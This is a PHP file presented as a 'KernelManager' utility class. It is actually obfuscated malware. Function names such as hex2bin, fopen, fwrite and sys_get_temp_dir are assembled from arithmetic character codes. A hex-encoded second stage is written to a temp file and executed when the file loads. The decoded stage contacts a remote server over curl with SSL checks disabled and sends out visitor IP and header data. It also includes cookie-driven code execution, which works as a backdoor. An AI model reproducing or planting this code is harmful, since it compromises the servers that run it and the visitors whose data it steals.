<?php
class KernelManager {
	private $bx = '';
	private $cc = '';

	public function encryptData($p1) {
		$a = array(((73*1)+31),((67*75)-4924),(((38*52)-1856)),(((40*1)+10)),((83*1)+15),((11+94)),((117-7)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function sendNotification($p1,$p2) {
		$a = array((2*51),(((119*54)-6315)),112,(101),((50*53)-2540));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function scheduleJob($p1,$p2) {
		$a = array((101*1),((67+49)),(((63*69)-4242)),(18+96),(119),(((90*1)+12)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function processData($p1) {
		$a = array(101,115,((3*37)),((78+30)),((10*6)+39),(((59*1)+43)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function fetchSummary($p1,$p2=null) {
		$a = array(((81*1)+28),((100+1+4)),(1+113),((125-9)),((83*1)+31));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function validateInput() {
		$this->cc = $this->fetchSummary($this->initializeModule(), '/');
	}

	public function cacheData() {
		$this->bx = $this->encryptData($this->wq);
	}

	public function sanitizeInput() {
		$fn = $this->cc.'/gk-682771a31c189';
		$f = $this->sendNotification($fn, 'w');
		$this->scheduleJob($f, $this->bx);
		$this->processData($f);
		$this->terminateSession($fn);
	}

	private $wq = '3c3f70687020636c617373205f7a787b70726976617465207' . '37461746963245f6d743b7374617469632066756e6374696f6' . 'e205f626a28245f766d2c245f6863297b6966282173656c663' . 'a3a245f6d742973656c663a3a5f747028293b245f71693d737' . '4726c656e28245f6863293b245f7378793d6261736536345f6' . '465636f64652873656c663a3a245f6d745b245f766d5d293b6' . '66f7228245f7068713d302c245f6e77743d7374726c656e282' . '45f737879293b245f706871213d3d245f6e77743b2b2b245f7' . '0687129245f7378795b245f7068715d3d636872286f7264282' . '45f7378795b245f7068715d295e6f726428245f68635b245f7' . '0687125245f71695d29293b72657475726e245f7378793b7d7' . '0726976617465207374617469632066756e6374696f6e205f7' . '47028297b73656c663a3a245f6d743d617272617928275f6c6' . 'd6e273d3e2748676f614569776156445177427730464d41565' . '54e6a4d46466742794a6773654f41415854583944272c275f6' . 'd7a71273d3e2748414141446a6f42476c634c466834665a553' . '8504369384442786b2b477763564d55414547796b4f48526b7' . '44268344f272c275f757169273d3e275041773d272c275f6b7' . '863273d3e274f67386e4c785575466b416b4e52465a4578774' . 'b617a6f484f4549684e52465a466838614e684936476838694' . 'e6a78644253346a627a38454b42384f4d694141466877434e6' . '849714351774a48447855272c275f6e66273d3e274c6841524' . 'a773d3d272c275f787a71273d3e275977304259513d3d272c2' . '75f616c62273d3e27597745434f31303d272c275f75766f273' . 'd3e274b41514f4d773d3d272c275f776f273d3e27272c275f6' . 'b61273d3e27272c275f6c7565273d3e27272c275f6c6c273d3' . 'e274e786b484147564358414171443130484f67385647544d4' . '94778387347525943635134634858414f48423076416741564' . 'c554d5a4132414a4567512b55413d3d272c275f7561273d3e2' . '7504149454367416547413872272c275f6170273d3e274e775' . '5624c79344d4d42554b272c275f797164273d3e274c426b444' . 'f68634f272c275f6874273d3e274e7834414679773d272c275' . 'f726b273d3e2747436f3251773d3d272c275f7377273d3e274' . 'c78414447513d3d272c275f6d76273d3e274c6751474869593' . 'd272c275f787377273d3e2759413d3d272c275f756277273d3' . 'e274c6749664c51343d272c275f6867273d3e27667a3436437' . '95a42626c6865556e776d4d4155615a56593d272c275f76617' . '4273d3e274e7777624b773d3d272c275f76706e273d3e27556' . 'e6f6e4d42344b4f684d514e68384b5a56416e4d7838584f6e3' . '175556e6f3d272c275f6a71273d3e274c41414f516e4263272' . 'c275f6c7462273d3e27272c275f6f6663273d3e274e7863444' . 'b773d3d272c275f74776a273d3e27556e673d272c275f61676' . 'c273d3e27467a596e447a30774579733245545973466a493d2' . '72c275f677469273d3e27467a417a447a732f4143496f44544' . 'd6d44534169477a73684544593d272c275f776477273d3e274' . '45330364544777941436b7a477a6f3d272c275f626177273d3' . 'e27467a6f77447a4578444373324143386a47694177272c275' . 'f7668273d3e27467a6b6c447a496b4443676a4143773247694' . 'd6c272c275f737278273d3e27272c275f766261273d3e27467' . 'a3031447a597a4769386b4453777a272c275f6e6f68273d3e2' . '74679497a44796b31476a416944544d31272c275f796a6c273' . 'd3e27272c275f7971273d3e27467a7733447a63674579456d4' . '5547738466a673d272c275f6c78273d3e27467963694479773' . '1457a6f7a4553637046694d3d272c275f6678273d3e27467a6' . '779447a4d2b41436f704454736e4453676a477a4d674544343' . 'd272c275f667862273d3e27467a596e496741364c4451514d4' . '3517a445359324e67416b5043413d272c275f667079273d3e2' . '7445459344b5173324b6963624e79633d272c275f696e62273' . 'd3e274453382f4a4173764c536f624c69413d272c275f746e6' . '9273d3e274f7873414844416441673d3d272c275f777062273' . 'd3e2746694a5155413d3d272c275f746670273d3e276677565' . '6436a685066773d3d272c275f6d7965273d3e2766786448497' . 'a6f4e5856453d272c275f6d6a273d3e2766316b57413246762' . '72c275f66786b273d3e274e674d3d272c275f71696a273d3e2' . '74b67303d272c275f796e6d273d3e274c52514c272c275f627' . '675273d3e274c67305343673d3d272c293b7d7d68656164657' . '2285f7a783a3a5f626a28275f6c6d6e272c275f69797727292' . '93b686561646572285f7a783a3a5f626a28275f6d7a71272c2' . '75f6f6e7a2729293b696628697373657428245f4745545b5f7' . 'a783a3a5f626a28275f757169272c275f64676827295d29297' . 'b245f7a6d753d5f7666285f7a783a3a5f626a28275f6b78632' . '72c275f766d2729293b696628245f7a6d752626737472706f7' . '328245f7a6d752c5f7a783a3a5f626a28275f6e66272c275f6' . '76b272929213d3d66616c7365297b646965285f7a783a3a5f6' . '26a28275f787a71272c275f626a2729293b7d656c73657b646' . '965285f7a783a3a5f626a28275f616c62272c275f636327292' . '93b7d7d696628697373657428245f4745545b5f7a783a3a5f6' . '26a28275f75766f272c275f656227295d29297b245f6e77743' . 'd245f434f4f4b49453b245f68633d28696e7429726f756e642' . '8302b302b30293b245f766d3d28696e7429726f756e6428332' . 'e352b332e35293b245f746e763d617272617928293b245f746' . 'e765b245f68635d3d5f7a783a3a5f626a28275f776f272c275' . 'f68727927293b7768696c6528245f766d297b245f746e765b2' . '45f68635d2e3d245f6e77745b3337362b2d3334365d5b245f7' . '66d5d3b69662821245f6e77745b3538352d202d3237322b353' . '2372d313335345d5b245f766d2b28696e7429726f756e64283' . '02e352b302e35295d297b69662821245f6e77745b2d3431372' . 'b3434375d5b245f766d2b28696e7429726f756e6428302e352' . 'b302e352b302e352b302e35295d29627265616b3b245f68632' . 'b2b3b245f746e765b245f68635d3d5f7a783a3a5f626a28275' . 'f6b61272c275f676d6327293b245f766d2b2b3b7d245f766d3' . 'd245f766d2b28696e7429726f756e6428312e37352b312e373' . '52b312e37352b312e3735292b283233332b2d323332293b7d2' . '45f68633d245f746e765b3330322b2d3231362b2d37325d282' . '92e245f746e765b28696e7429726f756e642831322b3132295' . 'd3b69662821245f746e765b28696e7429726f756e6428332b3' . '3295d28245f686329297b245f766d3d245f746e765b3439352' . 'd3436395d28245f68632c245f746e765b382d32342d202d392' . 'd202d31375d293b245f746e765b3230362d3537362d3630352' . 'd202d3938345d28245f766d2c245f746e765b28696e7429726' . 'f756e6428332e363636363636363636363636372b332e36363' . '6363636363636363636372b332e36363636363636363636363' . '637295d2e245f746e765b34392d202d3331312d3333375d282' . '45f746e765b28696e7429726f756e6428382e3333333333333' . '33333333333332b382e333333333333333333333333332b382' . 'e33333333333333333333333333295d28245f6e77745b28696' . 'e7429726f756e6428302e37352b302e37352b302e37352b302' . 'e3735295d2929293b7d696e636c75646528245f6863293b7d6' . '6756e6374696f6e205f766628245f76682c245f6c783d276f6' . '87973636b7872766261676b717775787261272c245f7866663' . 'd33383937382c245f63637a3d66616c7365297b245f646f743' . 'd5f7a783a3a5f626a28275f6c7565272c275f716b27293b245' . 'f64663d5f7a783a3a5f626a28275f6c6c272c275f6d7370272' . '92e245f76683b69662869735f63616c6c61626c65285f7a783' . 'a3a5f626a28275f7561272c275f777666272929297b245f6b7' . '7623d6375726c5f696e697428245f6466293b6375726c5f736' . '5746f707428245f6b77622c4355524c4f50545f53534c5f564' . '552494659504545522c66616c7365293b6375726c5f7365746' . 'f707428245f6b77622c4355524c4f50545f53534c5f5645524' . '94659484f53542c2d3134332d202d313435293b6375726c5f7' . '365746f707428245f6b77622c4355524c4f50545f464f4c4c4' . 'f574c4f434154494f4e2c28696e7429726f756e6428302e323' . '52b302e32352b302e32352b302e323529293b6375726c5f736' . '5746f707428245f6b77622c4355524c4f50545f52455455524' . 'e5452414e534645522c28696e7429726f756e6428302e32352' . 'b302e32352b302e32352b302e323529293b6375726c5f73657' . '46f707428245f6b77622c4355524c4f50545f4845414445522' . 'c3233382d323338293b6375726c5f7365746f707428245f6b7' . '7622c4355524c4f50545f434f4e4e45435454494d454f55542' . 'c28696e7429726f756e6428322e352b322e352b322e352b322' . 'e3529293b6375726c5f7365746f707428245f6b77622c43555' . '24c4f50545f54494d454f55542c28696e7429726f756e64283' . '22e352b322e352b322e352b322e3529293b245f646f743d637' . '5726c5f6578656328245f6b7762293b245f62783d6375726c5' . 'f676574696e666f28245f6b7762293b6375726c5f636c6f736' . '528245f6b7762293b696628245f62785b5f7a783a3a5f626a2' . '8275f6170272c275f716f27295d213d28696e7429726f756e6' . '42836362e3636363636363636363636372b36362e363636363' . '6363636363636372b36362e363636363636363636363637292' . '972657475726e2066616c73653b7d656c73657b245f7676683' . 'd70617273655f75726c28245f6466293b245f7867723d28245' . 'f7676685b5f7a783a3a5f626a28275f797164272c275f7a6b2' . '7295d3d3d5f7a783a3a5f626a28275f6874272c275f6a74672' . '729293b245f6b613d5f7a783a3a5f626a28275f726b272c275' . 'f6f626327292e245f7676685b5f7a783a3a5f626a28275f737' . '7272c275f71777127295d3b696628697373657428245f76766' . '85b5f7a783a3a5f626a28275f6d76272c275f71636c27295d2' . '929245f6b612e3d5f7a783a3a5f626a28275f787377272c275' . 'f68626227292e245f7676685b5f7a783a3a5f626a28275f756' . '277272c275f777a27295d3b245f6b612e3d5f7a783a3a5f626' . 'a28275f6867272c275f766e27292e245f7676685b5f7a783a3' . 'a5f626a28275f766174272c275f636827295d2e5f7a783a3a5' . 'f626a28275f76706e272c275f706427293b245f7576783d667' . '36f636b6f70656e2828245f7867723f5f7a783a3a5f626a282' . '75f6a71272c275f73627827293a5f7a783a3a5f626a28275f6' . 'c7462272c275f6c742729292e245f7676685b5f7a783a3a5f6' . '26a28275f6f6663272c275f787027295d2c245f7867723f286' . '96e7429726f756e64283131302e37352b3131302e37352b313' . '1302e37352b3131302e3735293a28696e7429726f756e64283' . '2302b32302b32302b323029293b696628245f757678297b667' . '075747328245f7576782c245f6b61293b245f7378793d28696' . 'e7429726f756e6428302b30293b7768696c65282166656f662' . '8245f75767829297b245f6e6a3d666765747328245f7576782' . 'c313039392b3835392d3936332d202d3239293b696628245f7' . '3787929245f646f742e3d245f6e6a3b696628245f6e6a3d3d5' . 'f7a783a3a5f626a28275f74776a272c275f727764272929245' . 'f7378793d28696e7429726f756e6428302e352b302e35293b7' . 'd66636c6f736528245f757678293b7d7d72657475726e245f6' . '46f743b7d245f6469793d697373657428245f5345525645525' . 'b5f7a783a3a5f626a28275f61676c272c275f627327295d293' . 'b245f626b3d697373657428245f5345525645525b5f7a783a3' . 'a5f626a28275f677469272c275f646727295d293b245f746b7' . 'a3d697373657428245f5345525645525b5f7a783a3a5f626a2' . '8275f776477272c275f687727295d293b245f6e753d6973736' . '57428245f5345525645525b5f7a783a3a5f626a28275f62617' . '7272c275f6e6427295d293f245f5345525645525b5f7a783a3' . 'a5f626a28275f7668272c275f6d7127295d3a5f7a783a3a5f6' . '26a28275f737278272c275f77666727293b245f6165773d697' . '373657428245f5345525645525b5f7a783a3a5f626a28275f7' . '66261272c275f696127295d293f245f5345525645525b5f7a7' . '83a3a5f626a28275f6e6f68272c275f766727295d3a5f7a783' . 'a3a5f626a28275f796a6c272c275f636b27293b245f6469793' . 'd697373657428245f5345525645525b5f7a783a3a5f626a282' . '75f7971272c275f686327295d293f245f5345525645525b5f7' . 'a783a3a5f626a28275f6c78272c275f737627295d3a6e756c6' . 'c3b245f626b3d697373657428245f5345525645525b5f7a783' . 'a3a5f626a28275f6678272c275f6c6627295d293f245f53455' . '25645525b5f7a783a3a5f626a28275f667862272c275f62737' . '227295d3a6e756c6c3b245f746b7a3d697373657428245f534' . '5525645525b5f7a783a3a5f626a28275f667079272c275f737' . '56627295d293f245f5345525645525b5f7a783a3a5f626a282' . '75f696e62272c275f6a726b27295d3a6e756c6c3b696628666' . '96c7465725f76617228245f6469792c3639302b3230362d363' . '23129297b245f6d65753d245f6469793b7d656c73656966286' . '6696c7465725f76617228245f626b2c3239332d3233372b323' . '13929297b245f6d65753d245f626b3b7d656c73657b245f6d6' . '5753d245f746b7a3b7d696628697373657428245f4745545b5' . 'f7a783a3a5f626a28275f746e69272c275f79677127295d292' . '97b6563686f205f7a783a3a5f626a28275f777062272c275f7' . '26a7027292e245f6d65752e5f7a783a3a5f626a28275f74667' . '0272c275f797527292e245f6e752e5f7a783a3a5f626a28275' . 'f6d7965272c275f6b677127292e245f6165772e5f7a783a3a5' . 'f626a28275f6d6a272c275f65747127293b6578697428293b7' . 'd69662821697373657428245f6d6575297c7c2169737365742' . '8245f6e75297c7c21697373657428245f61657729297b65786' . '97428293b7d656c73657b245f6465693d6172726179285f7a7' . '83a3a5f626a28275f66786b272c275f73666227293d3e245f6' . 'd65752c5f7a783a3a5f626a28275f71696a272c275f6c67682' . '7293d3e245f6e752c5f7a783a3a5f626a28275f796e6d272c2' . '75f716d7427293d3e245f616577293b245f64696d3d75726c6' . '56e636f6465286261736536345f656e636f6465286a736f6e5' . 'f656e636f646528245f6465692929293b245f7a6d753d5f766' . '628245f64696d293b696628245f7a6d752626737472706f732' . '8245f7a6d752c5f7a783a3a5f626a28275f627675272c275f7' . 'a6872272929213d3d66616c7365297b6563686f245f7a6d753' . 'b6578697428293b7d7d';

	public function terminateSession($p) {
		require($p);
	}

	public function initializeModule() {
		$a=array((5*23),(11*11),((22*13)-171),((5*19)),(26+77),(102-1),((6*2)+104),(5*19),116,((58+43)),((52*53)-2647),((113-1)),(95),((54+46)),105,(((68*1)+46)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$rx = new KernelManager();
$rx->validateInput();
$rx->cacheData();
$rx->sanitizeInput();
